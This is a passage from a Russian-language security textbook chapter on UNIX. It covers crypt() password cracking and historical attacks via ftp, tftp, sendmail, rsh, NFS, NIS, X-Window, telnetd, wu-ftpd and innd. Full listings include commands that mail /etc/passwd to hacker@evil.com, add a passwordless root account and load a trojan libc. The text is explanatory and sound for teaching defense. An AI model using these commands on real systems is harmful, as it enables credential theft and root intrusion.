При входе пользователя в систему вызывается та же функция crypt() с введенным паролем и привязкой, полученной из /etc/passwd. Если результат оказывается равным значению, хранящемуся в файле, то аутентификация считается состоявшейся.

После анализа этой схемы первое, что приходит в голову потенциальному взломщику (если он верит в невозможность обратного преобразования хэша в пароль), – перебор. Берется некоторый набор символов (например, прописные и строчные буквы, цифры и специальные символы типа знаков препинания – всего получается 94 символа), а затем из них по очереди составляются все комбинации вплоть до 8-символьной длины. К каждой из них применяется crypt(), и результат сравнивается с имеющимся. Естественно, что в эти комбинации рано или поздно попадет любой пароль пользователя.

Обрезание пароля до 8 значимых символов, конечно, резко ограничивает множество для перебора, но для тех времен это было вполне допустимо, так как функция crypt() была реализована заведомо неэффективно и время одного ее выполнения доходило до одной секунды на машине класса PDP. Таким образом, в среднем злоумышленник потратил бы на поиск пароля

или около 100 миллионов лет. Если же в качестве множества символов взять прописные латинские буквы (наиболее часто используемое множество), то время перебора составило бы в среднем

или «всего» 3 440 лет. Заметим, однако, что на сегодняшний день скорость оптимизированной функции crypt() на средней машине класса Pentium/166 MMX составляет примерно 15 000 crypt/с, то есть она за 20 лет повысилась в 15 000 раз.

...

Авторы [23] приводят интересную цифру – в то время (имеется в виду 1991 год) суперкомпьютер Cray выдавал 50 000 crypt/c. А сегодня счастливый обладатель какого-нибудь PIII/500 имеет в своем распоряжении вычислительную мощь, которая 8–9 лет назад была доступна только, скажем, АНБ США!

Это означает, что сегодня любой пароль из прописных латинских букв мы сможем найти в среднем за 80 дней.

Более того, этот процесс легко можно распараллелить, и существуют специальные платы, аппаратно выполняющие процесс шифрования, с помощью которых можно еще больше сократить время поиска.

С аналогичным аппаратным прогрессом столкнулась и другая фиксированная величина функции crypt() – привязка. Она создавалась для того, чтобы взломщик не мог применить стандартную для оптимизации программ замену время-память, то есть хэшировать предварительно (и один раз) некий большой набор слов и затем уже быстро искать в нем нужное хэш-значение. Однако если взять словарь в 10 000 слов (в среднем из 6 букв), то для хранения хэшей (еще 11 байт; 2 байта привязки можно не хранить) его слов во всех 4 096 модификациях потребовалось бы примерно 10 000 х 17 х 4 096 байт = 660 Мбайт. Раньше такой объем памяти нельзя было представить, а сейчас – один компакт-диск.

Однако вернемся на несколько лет назад, когда вычислительной мощности для полного перебора всех паролей не хватало. Тем не менее хакеры придумали остроумный (но совершенно очевидный) метод, основанный на людской психологии. Он следует из того, что человеку нелегко запомнить длинные бессмысленные наборы символов (идеальные в качестве паролей), поэтому он каким-либо путем попробует выбрать их более-менее запоминающимися и/или осмысленными. Чаще всего им в качестве пароля выбирается существующее слово или какая-либо информация о себе или своих знакомых (имя, дата рождения и т. п.). Ну а поскольку в любом языке не более 100 000 слов, то их перебор займет немного времени, и от 10 до 40 % существующих паролей может быть угадано с помощью простой схемы, называемой «атакой по словарю». (Кстати, до 50 % таких паролей может быть угадано с использованием всего 1 000 слов.) Как вы уже знаете, даже вирус Морриса применял такой способ, тем более что в UNIX «под рукой» часто оказывается файл-словарь, обычно используемый программами-корректорами. Что же касается «собственных» паролей, то файл /etc/passwd может дать немало информации о пользователе: его входное имя, реальные имя и фамилию, домашний каталог. Вирус Морриса, как вы помните, с успехом пользовался следующими предположениями:

• в качестве пароля берется входное имя пользователя;

• пароль представляет собой двойной повтор имени пользователя;

• то же, но прочитанное справа налево;

• имя или фамилия пользователя;

• то же, но в нижнем регистре.

Забегая несколько вперед, остановимся на ситуации со вскрытием паролей. Во-первых, сегодня трудно предположить, что существует еще какой-нибудь ускользнувший от внимания хакеров способ, позволяющий удаленно выкрасть файл /etc/passwd для последующего анализа (его, безусловно, можно получить, используя сценарий 1 или 2 через изъян в демоне, но это бессмысленно, потому что злоумышленник в этом случае и так стал суперпользователем на вашей машине). Во-вторых, в современных версиях UNIX появился механизм так называемого «затенения» (shadowing) файла паролей: он перемещается в другое место и становится недоступным обычным пользователям по чтению. Но это не очень эффективное средство, что связано (опять-таки!) с идеологией UNIX, и вызов функции getpwent() в некоторых случаях позволяет получить пароли пользователей в классическом виде. В-третьих, иногда функция crypt() заменяется на другую (еще более медленную) хэш-функцию, и запуск старых программ-взломщиков ни к чему не приводит. Обычно это алгоритм MD5, скорость которого в 50 раз меньше, чем crypt(). Аналогично может увеличиваться и размер привязки, например до 24 бит. Наконец, среди пользователей в последние годы проводится большая «разъяснительная работа» по выбору стойких паролей, и процент успешно подобранных паролей с помощью атаки «по словарю» пусть медленно, но падает.

...

С другой стороны, количество подключающихся к Internet пользователей растет гораздо быстрее.

Однако психологический фактор останется до тех пор, пока с компьютером работает человек, и, наверное, никогда эксперты по компьютерной безопасности не дождутся от пользователя выбора таких простых и радующих душу паролей, как 34jXs5U@bTa!6. Поэтому даже искушенный пользователь хитрит и выбирает пароли типа hope1, user1997, pAsSwOrD, toor, roottoor, parol, gfhjkm, asxz. Видно, что все они, как правило, базируются на осмысленном слове и некотором простом правиле его преобразования: прибавить цифру или год, перевести через букву в другой регистр, записать слово наоборот, прибавить записанное наоборот слово, записать русское слово латинскими буквами, набрать русское слово на клавиатуре с латинской раскладкой, составить пароль из рядом расположенных на клавиатуре клавиш и т. п.

Поэтому не надо удивляться, если такой «хитрый» пароль будет вскрыт хакерами: они не глупее вас и уже вставили в свои программы те правила, по которым могут преобразовываться слова. В самых современных программах (Crack 5.0, John The Ripper) такие правила могут программироваться и задаваться с помощью специального языка самим хакером.

Приведем пример эффективности стратегии перебора. В отдельных книгах по безопасности предлагается выбирать в качестве надежного пароля два осмысленных слова, разделенных некоторым знаком, например good!password. Подсчитаем, сколько в среднем потребуется времени, чтобы сломать пароль, если такое правило включено в набор программы-взломщика (пусть словарь содержит 10 000 слов, разделительными знаками будут 10 цифр и 32 символа, включая знаки препинания):

или чуть больше полутора дней.

Итак, из всего вышесказанного ясно, насколько важно для вашей безопасности иметь хорошие пароли, причем вне зависимости от операционной системы, которую вы используете. К сожалению, рекомендации по поводу выбора паролей выходят за рамки этой книги.

Типичные атаки

Далее мы рассмотрим типичные атаки на UNIX-хосты, которые осуществлялись в недалеком прошлом, и попытаемся классифицировать их по предложенным типовым сценариям. Повторимся, что наша книга не является справочником по уязвимостям или учебником по взлому, поэтому в ней приводятся только атаки, которые характеризуют те или иные принципиальные проблемы безопасности UNIX. Почти все атаки даются с подробными листингами, так как потенциальный кракер все равно найдет их в Internet [22], а главное – на сегодняшний день они являются сильно устаревшими и представляют в большей степени теоретический интерес.

Атака с использованием анонимного ftp Анонимный ftp-сервис (обнаружить его чрезвычайно просто) мог служить легким способом получения доступа из-за частой неправильной конфигурации. Например, система могла иметь полную копию файла /etc/passwd в каталоге ~ftp/etc вместо урезанной версии со всеми вытекающими отсюда последствиями. Кроме того, можно было применить и более изощренный способ – в следующем примере домашний каталог специального пользователя ftp на victim.com доступен для записи. Это позволяет послать по почте самому себе файл /etc/passwd атакуемой машины. Для этого надо создать файл. forward в домашнем каталоге ftp, который выполняется, когда пользователю ftp посылается почта. Например:

evil % cat forward_sucker_file

"|/bin/mail hacker@evil.com < /etc/passwd"

evil % ftp victim.com

Connected to victim.com

220 victim FTP server ready.

Name (victim.com:hacker): ftp

331 Guest login ok, send ident as password.

Password: *****

230 Guest login ok, access restrictions apply.

ftp> ls -lga

200 PORT command successful.

150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).

total 5

drwxr-xr-x 4 101 1 512 Jun 20 1991 .

drwxr-xr-x 4 101 1 512 Jun 20 1991 ..

drwxr-xr-x 2 0 1 512 Jun 20 1991 bin

drwxr-xr-x 2 0 1 512 Jun 20 1991 etc

drwxr-xr-x 3 101 1 512 Aug 22 1991 pub

226 ASCII Transfer complete.

242 bytes received in 0.066 seconds (3.6 Kbytes/s)

ftp> put forward_sucker_file .forward

43 bytes sent in 0.0015 seconds (28 Kbytes/s)

ftp> quit

evil % echo test | mail ftp@victim.com

Теперь хакер может просто ждать, пока файл с паролями не будет выслан ему. Очевидно, что такая атака (как и следующая) является типичной по сценарию 2. Рассматривая ftp, вспомним совсем старую ошибку:

% ftp -n

ftp> open victim.com

Connected to victim.com

220 victim.com FTP server ready.

ftp> quote user ftp

331 Guest login ok, send ident as password.

ftp> quote cwd ~root

530 Please login with USER and PASS.

ftp> quote pass ftp

230 Guest login ok, access restrictions apply.

ftp> ls -al /

Если этот прием сработал, то атакующий теперь вошел в систему как суперпользователь.

Далее мы рассмотрим более свежие «дыры» в ftp-демонах.

Использование tftp До сих пор существует (но почти не используется, по крайней мере в глобальных сетях) программа, подобная ftpd, – tftpd. Этот демон не требует пароля для аутентификации. Если хост предоставлял tftp без ограничения доступа (обычно с помощью установок флагов безопасности в файле inetd.conf), то атакующий получал доступ по чтению и записи к любым файлам. Например, можно было получить файл паролей с удаленной машины и разместить его в локальном каталоге /tmp:

evil % tftp

tftp> connect victim.com

tftp> get /etc/passwd /tmp/passwd.victim

tftp> quit

Это атака по сценарию 2. Проникновение в систему с помощью sendmail

Sendmail – очень сложная программа, у которой всегда было много проблем с безопасностью, включая печально известную команду debug. С ее помощью, например анализируя сообщения, можно было получить некоторую информацию об удаленной системе, вплоть до номера версии. Это позволяет определить наличие в системе известных ошибок.

Кроме того, для старых версий sendmail можно было увидеть, запущен ли псевдоним «decode», имеющий ряд проблем:

evil % telnet victim.com 25

connecting to host victim.com (194.94.94.94.), port 25 connection open

220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT

expn decode

250 <"|/usr/bin/uudecode">

quit

С псевдонимом «decode» система подвергалась риску, так как злоумышленник мог изменить любые файлы, доступные для записи владельцу этого псевдонима, которым, как правило, являлся демон. Приведенный фрагмент кода помещал evil.com в файл. rhosts пользователя hacker, если он был доступен для записи:

evil % echo «evil.com» | uuencode /home/hacker/.rhosts | mail decode@victim.com

В части программы sendmail, отвечающей за пересылку, были две хорошо известные ошибки. Первую устранили в версии 5.59. В версиях до 5.59 evil.com добавлялся к файлу. rhosts вместе с обычными почтовыми заголовками, несмотря на сообщения об ошибках:

% cat evil_sendmail

telnet victim.com 25 << EOSM

rcpt to: /home/hacker/.rhosts

mail from: hacker

data

rcpt to: /home/hacker/.rhosts

mail from: hacker

data

evil.com

quit

EOSM

evil % /bin/sh evil_sendmail

Trying 194.94.94.94

Connected to victim.com

Escape character is ‘^]‘.

Connection closed by foreign host.

evil % rlogin victim.com -l hacker

Welcome to victim.com!

victim %

Вторая ошибка позволяла кому угодно задавать произвольные команды оболочки и/или пути для посылающей и/или принимающей стороны. Попытки сохранить детали в секрете были тщетными, и широкая дискуссия в эхо-конференциях привела к обнародованию того, как можно использовать некоторые ошибки. Почти все системы оказались уязвимы для подобных атак, поскольку все они имели в основе один и тот же исходный текст. Типичная атака с помощью sendmail, направленная на получение пароля, могла бы выглядеть так:

evil % telnet victim.com 25

Trying 194.94.94.94

Connected to victim.com

Escape character is ‘^]‘.

220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04

mail from: "|/bin/mail hacker@evil.com < /etc/passwd"

250 "|/bin/mail hacker@evil.com < /etc/passwd"... Sender ok

rcpt to: nosuchuser

550 nosuchuser... User unknown

data

354 Enter mail, end with "." on a line by itself

250 Mail accepted

quit

Connection closed by foreign host.

evil %

Из примера видно, что все атаки на sendmail идут на уровне незарегистрированного удаленного пользователя и поэтому относятся к сценарию 1.

Атаки на доверие

Напомним, что типичным (и самым опасным) механизмом, использующим доверие, является механизм доверенных хостов, при подключении с которых с помощью r-служб можно зарегистрироваться под любым именем, кроме root, без указания пароля. Само по себе это уже плохо, так как, вскрыв один из хостов, кракер сможет легко по цепочке добраться до следующих. Гораздо более опасно другое: если система, которую собираются атаковать, содержит шаблон «+» (в некоторых системах он устанавливается по умолчанию) в файлах, где описываются доверенные хосты, то все хосты становятся доверенными для данного.

Другие описываемые здесь атаки на доверие также основаны на ненадежной аутентификации или ее отсутствии, поэтому все они относятся к типовому сценарию 4.

Проникновение в систему с помощью rsh

Поскольку специальный пользователь bin, как правило, имеет доступ к ключевым файлам и каталогам, то, зарегистрировавшись как bin, может изменить файл паролей так, чтобы получить привилегии доступа root.

Например:

evil % whoami

bin

evil % rsh victim.com csh -i

Warning: no access to tty; thus no job control in this shell...

victim % ls -ldg /etc

drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc

victim % cd /etc

victim % mv passwd pw.old

victim % (echo toor::0:1:суперпользователь без пароля:/:/bin/sh; cat pw.old ) > passwd

victim % ^D

evil % rlogin victim.com -l toor

Welcome to victim.com!

victim #

Несколько замечаний по поводу деталей приведенного выше метода: «rsh victim.com csh – i» используется для проникновения в систему, так как при таком запуске csh не оставляет никаких следов в файлах учета wtmp или utmp, делая rsh невидимым для finger или who. Правда, при этом удаленный командный процессор не подключается к псевдотерминалу, и полноэкранные программы (например, редакторы) работать не будут. На многих системах атака с помощью rsh (в случае успешного завершения) оставалась абсолютно незамеченной, поэтому мы рекомендуем использовать анализатор внешних tcp-подключений, который поможет обнаружить такую деятельность. Недостатки аутентификации NFS

NFS (Network Filesystem) – это разработанный фирмой Sun сетевой протокол для подключения удаленной файловой системы сервера к рабочей станции. К сожалению, этот протокол использует довольно слабые формы аутентификации пользователей, слишком доверяя им. Как пишут Дж. Спаффорд и С. Гарфинкел [23], «NFS позволяет пользователям на рабочей станции читать и изменять содержимое файлов, расположенных на сервере, даже без необходимости идентифицироваться на нем или вводить пароль. Эта характеристика является сердцем проблем безопасности NFS».

И действительно, стандартная схема аутентификации, принятая в NFS, – так называемая AUTH_UNIX. При ней клиент предоставляет серверу свои UID и GID, по которым, собственно, сервер разрешает или запрещает доступ к тому или иному файлу (то есть использует стандартную схему разграничения доступа в UNIX). Таким образом, сервер полностью доверяет клиенту, а клиент-нарушитель может предстать перед сервером любым пользователем (кроме суперпользователя).

...

Как видно, создатели все же понимали слабость такой схемы и то, что на удаленном компьютере суперпользователем (!) может быть, в сущности, кто угодно. Поэтому, даже передав серверу UID, равный нулю, злоумышленник не получит максимальные права на сервере NFS. Иначе говоря, файлы, владельцем которых является суперпользователь, защищены от подобных атак.

Предположим, что запуск программы showmount с параметром «атакуемый хост» покажет следующее:

evil % showmount -e victim.com

export list for victim.com:

/export (everyone)

/var (everyone)

/usr easy

/export/exec/kvm/sun4c.sunos.4.1.3 easy

/export/root/easy easy

/export/swap/easy easy

Сразу заметно, что /export и все его подкаталоги экспортируются во внешнюю среду. Предположим (это можно выяснить с помощью finger), что домашним каталогом пользователя guest является /export/foo. Теперь, владея информацией, можно осуществить первое вторжение. Для этого монтируется домашний каталог пользователя guest удаленной машины. Суперпользователь атакующей машины не сможет модифицировать файлы на файловой системе, смонтированной как NFS, а «сам» пользователь сможет! Поэтому, чтобы обмануть доверчивый NFS, надо создать фиктивного пользователя guest с тем же UID, что и на сервере, в локальном файле паролей. Далее стандартно эксплуатируется «излишнее доверие» уже r-служб, и атакующая машина victim.com вставляется в файл. rhosts в удаленном домашнем каталоге guest, что позволит зарегистрироваться в атакуемой машине, не предоставляя пароля:

evil # mount victim.com:/export/foo /foo

evil # cd /foo

evil # ls -lag

total 3

1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .

1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..

1 drwx–x–x 9 10001 daemon 1024 Aug 3 15:49 guest

evil # echo guest:x:10001:1:временно для взлома:/: >> /etc/passwd

evil # su guest

evil % echo victim.com >> guest/.rhosts

evil % rlogin victim.com

Welcome to victim.com!

victim %

Если бы victim.com не экспортировал домашние каталоги пользователей, а только каталоги с программами (скажем, /usr или /usr/local/bin), можно было бы заменить команду «троянским» конем, который выполнял бы те же операции.

Распространенность NFS приводит к тому, что подобные атаки до сих пор являются актуальными, и, как мы увидим, они похожи на уязвимости, имеющиеся в Windows NT из-за наличия в ней механизма разделения каталогов.

Использование службы NIS Активный NIS-сервер управляет почтовыми псевдонимами (aliases) для доменов NIS. Подобно рассмотренным вариантам атак с помощью псевдонимов локальной почты можно было создавать почтовые псевдонимы, которые бы выполняли команды, когда им приходит почта. Например, рассмотрим создание псевдонима «foo», посылавшего по почте файл паролей на evil.com, когда на его адрес поступало любое сообщение:

nis-master # echo ‘ foo: "| mail hacker@evil.com < /etc/passwd " ‘ >> /etc/aliases

nis-master # cd /var/yp

nis-master # make aliases

nis-master # echo test | mail -v foo@victim.com

Таким образом, становится ясно, что NIS была ненадежной службой, которая почти не имела аутентификации клиентов и серверов, и если атакующий управлял активным NIS-сервером, то он также мог бы эффективно управлять хостами клиентов (например, выполнять произвольные команды). Особенности безопасности X-Window

Оконная система UNIX, в отличие от оконной системы другой фирмы, является сетевой, поддерживающей сервер и клиента. Ее наличие на компьютере может быть обнаружено, в частности, с помощью сканирования портов. Порт X-Window – обычно 6000.

Сервер X-Window аутентифицировал своих клиентов только по имени хоста, с которого они подключались. Если же он «доверял» всем хостам, то его окна могли быть захвачены или просмотрены, ввод пользователя мог быть украден, программы могли быть удаленно выполнены и т. п. Одним из методов определения уязвимости X-сервера является подсоединение к нему через функцию XOpenDisplay(). Если функция возвращает не NULL, то доступ можно получить.

Х-терминалы, гораздо менее мощные системы, имели свои проблемы по части безопасности. Многие Х-терминалы разрешали неограниченный rsh-доступ, позволяя запустить Х-клиенты на терминале victim, перенаправляя вывод на локальный терминал:

evil% xhost +xvictim.victim.com evil% rsh xvictim.victim.com telnet victim.com -display evil.com

В любом случае администратору необходимо было продумать безопасность системы X-Window, иначе система могла подвергаться такому же риску, как и при наличии «+» в hosts.eguiv или при отсутствии пароля у root.

Современная ситуация

В этом разделе мы перейдем к рассмотрению ситуации с безопасностью UNIX в наши дни. Забегая вперед, сразу скажем, что принципиально ничего не изменилось. Возможно, ошибок в старых версиях UNIX стало меньше, зато появились новые версии UNIX. Вероятно, пользователи стали уделять больше внимания своим паролям, но вычислительная мощность персональных компьютеров удваивается чуть ли не каждый год, и программы-взломщики становятся все более изощренными. Сегодня, скорее всего, хакер уже не будет искать уязвимости в демонах типа telnetd или ftpd, а возьмет какой-нибудь малоизученный. Далее мы не станем приводить конкретные примеры (exploit) их использования по вполне понятным причинам.

Ошибка в демоне telnetd

Эта уязвимость, основанная на недоработке в демоне, отвечающем за протокол telnet, на наш взгляд, является одной из самых красивых и стала уже почти такой же хрестоматийной, как команда debug в sendmail. Хосты, подверженные этой уязвимости, должны иметь анонимный ftp-сервис с разрешением на запись в один из своих каталогов (типа ~ftp/incoming).

Основная идея проникновения заключается в том, что злоумышленник подменяет стандартную библиотеку libc своей, имеющей «троянского» коня: при вызове некоторых функций она запускает командную оболочку. Затем он помещает ее на атакуемую машину, используя анонимный ftp-сервис. Основная его задача – сделать так, чтобы библиотека воспринималась на атакуемой машине как настоящая. Для этого взломщик подменяет специальные переменные окружения, которые теперь будут указывать на «троянскую» библиотеку. Наконец, telnet-демоны, поддерживающие функцию передачи переменных окружения (RFC 1408 или RFC 1572), смогут переслать их на удаленную машину. После этого злоумышленнику остается только попытаться войти по telnet на атакованную машину. При отработке функции login() будет вызвана одна из «троянских» функций, и злоумышленник получит привилегии суперпользователя. Таким образом, это типичная атака по сценарию 1, но для ее подготовки нужен предварительный вход на машину через анонимный ftp (естественно, возможны другие комбинации, позволяющие записать файл в любой каталог удаленной машины). Указанная атака выглядит примерно так:

evil:~# ftp victim.com

Connected to victim.com

220 Victim FTP server (Version wu-2.4(4) Sat Mar 24 14:37:08 EDT 1996) ready.

Name (evil:root): anonymous

331 Guest login ok, send your complete e-mail address as password.

Password: *****

230 Guest login ok, access restrictions apply.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> cd incoming

250 CWD command successful.

ftp> send libc.so.4

200 PORT command successful.

150 Opening BINARY mode data connection for libc.so.4.

226 Transfer complete.

ftp> bye

221 Goodbye.

evil:~# telnet

telnet> env define LD_LIBRARY_PATH /home/ftp/incoming

telnet> env export LD_LIBRARY_PATH

telnet> open victim.com

Trying 194.94.94.94...

Connected to victim.com.

Escape character is ‘^]‘.

Linux 1.2.13 (victim.com) (ttyp0)

Victim login: hacker

Password:

bash# cd /root

Снова sendmail

В этом разделе мы рассмотрим две уязвимости в программе sendmail новых версий [15, 16], одна из которых позволяет локальному пользователю стать суперпользователем и относится, таким образом, к сценарию 3. Вторая уязвимость очень серьезна и в некотором роде уникальна: ее использование позволит хакеру выполнить любую команду от имени суперпользователя на вашей машине, невзирая на все системы защиты, включая межсетевые экраны. Поэтому она является возможным примером осуществления атаки класса 1 и в наши дни.

Очевидно, что одна из основных функций sendmail – это SMTP-демон, отвечающий на входящие письма. Только суперпользователь может запустить ее в таком режиме, и это проверяется специальной процедурой самой sendmail. Однако из-за ошибки кодирования sendmail может быть запущена в режиме демона так, что проверка будет пропущена. Более того, начиная с версии 8.7, sendmail перезапустит сама себя, если получит сигнал SIGHUP с помощью системного вызова exec(2), после чего она начнет исполняться с привилегиями суперпользователя. В этот момент, манипулируя переменными sendmail, злоумышленник может заставить ее выполнить любую команду, естественно, с привилегиями суперпользователя. Как стандартный вариант используется копирование оболочки /bin/sh в /tmp/ sh и установка на него SUID root.

Вторая уязвимость, как уже говорилось, присутствует всегда при наличии sendmail до версии 8.8.4 включительно с конфигурацией по умолчанию, независимо от присутствия других сервисов и средств защиты типа межсетевых экранов. Раз sendmail работает на вашем компьютере, значит, отправляется и принимается электронная почта. Оказывается, ничего другого в данном случае кракеру не надо: как в старые добрые времена, «бомба» к вам может попасть в обычном письме стандартного формата, которое, естественно, без всяких подозрений пропустит любой межсетевой экран или другой фильтр. Это письмо, однако, будет иметь более чем специфическое содержание в MIME-кодировке, при обработке которого у sendmail банально переполнится буфер, данные попадут в стек и могут быть интерпретированы как код. Естественно, он выполнится от имени суперпользователя.

Эта ошибочная функция вызывается, кстати, только в том случае, если в конфигурации sendmail стоит недокументированный флаг «-9».

Какие можно сделать выводы из этой примечательной ситуации? Во-первых, видимо, это один из случаев, когда ошибка в исходном коде была найдена раньше хакерами, а не кракерами. Во-вторых, как обычно, пройдет много времени, прежде чем все уязвимые программы sendmail будут заменены на новые, а кракеры тем временем, уже зная конкретно об этой ошибке, смогут максимально ее использовать. Более того, своей масштабностью она прямо подтолкнет их к написанию нового глобального червя. В-третьих, это еще раз доказывает, что любые программы в процессе своего совершенствования могут приобретать новые ошибки, в том числе и такие катастрофичные. В-четвертых, сильно удивляет позиция автора sendmail, который, несмотря на репутацию автора «программы, насчитывающей такое же количество ошибок в плане безопасности, как и все другие UNIX-программы, вместе взятые», традиционно продолжает оставлять недокументированные команды или ключи. Мы бы не рекомендовали ставить программу sendmail на любой хост, который более или менее критичен к угрозам извне, так как ошибки в ней обнаруживаются с пугающей регулярностью.

Уязвимости в wu-ftpd

FTP-демон wu-ftpd, написанный в вашингтонском университете, является значительным расширением стандартного ftpd. Как обычно, это приводит и к расширению содержащихся в нем ошибок.

Самой известной из них является ошибка, позволяющая всего-навсего выполнить любую команду от имени суперпользователя, причем для удобства кракера в wu-ftp есть специальная команда, которая так и называется site exec (выполнить на сайте) [18]. Эта атака интересна тем, что не подходит ни под один из сценариев (она проходит аналогично типовым атакам по сценарию 1 или 2, взаимодействуя с удаленным демоном, но для ее успешной реализации необходимы полномочия обычного пользователя):

evil# ftp victim.com

220 victim FTP server (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994) ready.

Name (victim:root): good

331 Password required for good.

Password: *****

230 User good logged in.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> quote «site exec bash -c id»

200-bash -c id

200-uid=0(root) gid=0(root) euid=505(statik) egid=100(users) groups=100(users)

200 (end of ‘bash -c id‘)

Видно, что в последней строчке на удаленном хосте выполнилась команда id от имени суперпользователя, это означает, что хост уязвим.

Другая уязвимость, которой подвержены версии wu-ftpd (1996–1997 гг.), состояла в том, что при определенных условиях можно переполнить список аргументов команды, а это приведет к сбросу демоном аварийного дампа памяти. Для этого нужны минимальные полномочия анонимного пользователя ftp. Самое интересное, владельцем дампа будет не root, как обычно бывает, а anonymous, и дамп будет сбрасываться в его домашний каталог. Отсюда следует, что он позже может быть прочитан удаленно. Ну а чтение аварийного дампа равносильно копанию в корзине для бумаг на секретном объекте – среди мусора находятся очень любопытные вещи, например сброшенные кэшированные пароли. Так что злоумышленнику останется только запустить взломщик паролей поновее.

В последний момент wu-ftpd вновь напомнил о себе. Оказалось, что если злоумышленник имеет право на запись в некий ftp-каталог (вполне достаточно наличия /incoming), то у wu-ftpd переполняется буфер при создании вложенных каталогов с длинными именами. Реализация этой уязвимости, опубликованная в Internet, вызвала эпидемию вскрытых хостов весной 1999 года, потому что нашлись молодые люди, умеющие запускать чужие программы и считающие себя при этом «крутыми хакерами».

Проникновение с помощью innd

Проиллюстрируем тот путь, по которому идут кракеры сегодня и рассмотрим самый популярный способ проникновения в UNIX-хосты на начало 1997 года.

В качестве «лазейки» была выбрана серверная программа, отвечающая за передачу новостей USENET по протоколу NNTP, называемая InterNet News (Inn). Такой выбор для кракеров очень удачен: во-первых, эта программа «не запятнала» себя ранее (это как раз пример новаторского подхода); во-вторых, как и любой демон, она потенциально допускает проникновение по классу 1; в-третьих, сервис передачи новостей выходит на одно из первых мест в Internet, поэтому программа достаточно распространена и существует практически на всех платформах; в-четвертых, уязвимости, если они найдутся в ней, не могут быть сведены на нет межсетевым экраном. Поясним последнее подробнее. Если вы у себя на машине ставите сервер, который должен отвечать за прием и передачу новостей по протоколу NNTP, то, естественно, обязаны разрешить этот протокол в своем межсетевом экране. Но кракер, с другой стороны, также будет работать на уровне NNTP. Иначе говоря, как и в приведенной выше уязвимости в sendmail, межсетевой экран не отличает пакеты с «хорошими» новостями от «плохих», которые посылает кракер, – Firewall может только запретить или разрешить конкретный трафик в целом.

Именно такого рода уязвимость была найдена в программе innd [17]. Среди обычных сообщений USENET встречаются так называемые управляющие типа «newgroup» или «rmgroup». Innd обрабатывает команды, расположенные в них, через команду оболочки «eval». Однако некоторая информация (иначе говоря, специальным образом разработанное фальшивое управляющее сообщение) может быть передана оболочке без надлежащего контроля. Это позволит любому, кто может присылать сообщения на ваш NNTP-сервер – иногда это чуть ли ни каждый пользователь USENET, исполнить какую угодно команду, имея привилегии демона innd, а это либо суперпользователь, либо специальный пользователь news с широкими правами. Все версии Inn, до 1.5 включительно, оказались уязвимыми.

Причины существования уязвимостей в UNIX-системах

Проанализировав большой фактический материал, коснемся причин, по которым описанные нарушения безопасности UNIX имели место, и попытаемся их классифицировать (рис. 9.4). Сразу оговоримся, что классификация ни в коей мере не претендует на новизну или полноту – кому интересна эта тема, предлагаем обратиться к более серьезным научным работам [11, 27]. Здесь же мы опишем вполне понятные читателю причины, по которым происходит до 90 % всех случаев вскрытия UNIX-хостов:

Рис. 9.4. Причины уязвимости UNIX

1. Наличие демонов.

2. Механизм SUID/SGID-процессов.

3. Излишнее доверие.

4. Человеческий фактор с весьма разнообразными способами его проявления – от легко вскрываемых паролей у обычных пользователей до ошибок у квалифицированных системных администраторов, многие из которых как раз и открывают путь для использования механизмов доверия.

Механизмы 1 и 2, являющиеся неотъемлемой частью идеологии UNIX, были и будут лакомым кусочком для хакеров, так как пользователь в этом случае взаимодействует с процессом, имеющим большие привилегии, и поэтому любая ошибка или недоработка в нем автоматически ведет к использованию этих привилегий.

О механизме 3 уже достаточно говорилось выше. Повторим, что в UNIX много служб, использующих доверие, и они могут тем или иным способом быть обмануты.

Итак, вот те причины, по которым демоны и SUID/SGID-процессы становятся уязвимыми:

1. Возможность возникновения непредусмотренных ситуаций, связанных с ошибками или недоработками в программировании.

2. Наличие скрытых путей взаимодействия с программой, называемых «люками».

3. Возможность подмены субъектов и объектов различным образом.

К первой можно отнести классическую ситуацию с переполнением буфера или размерности массива. Заметим сразу, что конкретные атаки, несмотря на универсальность способа, всегда будут системозависимыми и ориентированными только на конкретную платформу и версию UNIX.

Хорошим примером непредусмотренной ситуации в многозадачной операционной системе является неправильная обработка некоторого специального сигнала или прерывания. Часто хакер имеет возможность смоделировать ситуацию, в которой этот сигнал или прерывание будет послано (в UNIX посылка сигнала решается очень просто – командой kill, как в примере с sendmail).

Наконец, одна из самых распространенных ошибок программистов – неправильная обработка входных данных, что является некоторым обобщением случая переполнения буфера. А если программа неправильно обрабатывает случайные входные данные, то, очевидно, можно подобрать такие специфические входные данные, которые приведут к желаемым для хакера результатам, как случилось с innd.

Люком или «черным входом» (backdoor) часто называют оставленную разработчиком недокументированную возможность взаимодействия с системой (чаще всего – входа в нее), например, известный только разработчику универсальный «пароль». Люки оставляют в конечных программах вследствие ошибки, не убрав отладочный код, или вследствие необходимости продолжения отладки уже в реальной системе из-за ее высокой сложности, или же из корыстных интересов. Люки – это любимый путь в удаленную систему не только у хакеров, но и у журналистов, и режиссеров вместе с подбором «главного» пароля перебором за минуту до взрыва, но, в отличие от последнего способа, люки реально существуют. Классический пример люка – это, конечно, отладочный режим в sendmail.

Наконец, многие особенности UNIX, такие как асинхронное выполнение процессов, развитые командный язык и файловая система, позволяют злоумышленникам использовать механизмы подмены одного субъекта или объекта другим. Например, в рассмотренных выше примерах часто применялась замена имени файла, имени получателя и т. п. именем программы. Аналогично может быть выполнена подмена специальных переменных. Так, для некоторых версий UNIX существует атака, связанная с подменой IFS (internal field separator – символ разделителя команд или функций) на символ «/». Это приводит к следующему: когда программа вызывает /bin/ sh, вместо него вызывается файл bin с параметром sh в текущем каталоге. Похожая ситуация возникает при атаке на telnetd. Наконец, очень популярным в UNIX видом подмены является создание ссылки (link) на критичный файл. После этого файл-ссылка некоторым образом получает дополнительные права доступа, и тем самым осуществляется несанкционированный доступ к исходному файлу. Подобная ситуация с подменой файла возникает, если путь к нему определен не как абсолютный (/ bin/sh), а как относительный (../bin/sh или $(BIN)/sh). Такая ситуация также имела место в рассмотренной уязвимости telnetd.

